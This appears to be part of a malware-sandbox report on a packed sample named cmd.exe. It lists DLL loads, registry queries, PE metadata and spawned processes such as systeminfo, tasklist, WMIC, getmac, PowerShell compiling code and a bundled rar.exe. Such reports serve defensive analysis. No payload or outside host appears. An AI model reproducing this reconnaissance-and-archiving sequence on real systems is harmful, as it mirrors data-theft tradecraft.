Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\getmac.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\Desktop\pyvenv.cfg
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: cmd.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: cmd.exe Static file information: File size 6263156 > 1048576
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: cmd.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: cmd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: cmd.exe, 00000001.00000002.2106778885.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: cmd.exe, 00000001.00000002.2107248205.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: cmd.exe, 00000001.00000002.2105906140.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\python310.pdb source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000041.00000000.1938364077.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe.0.dr
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdb source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
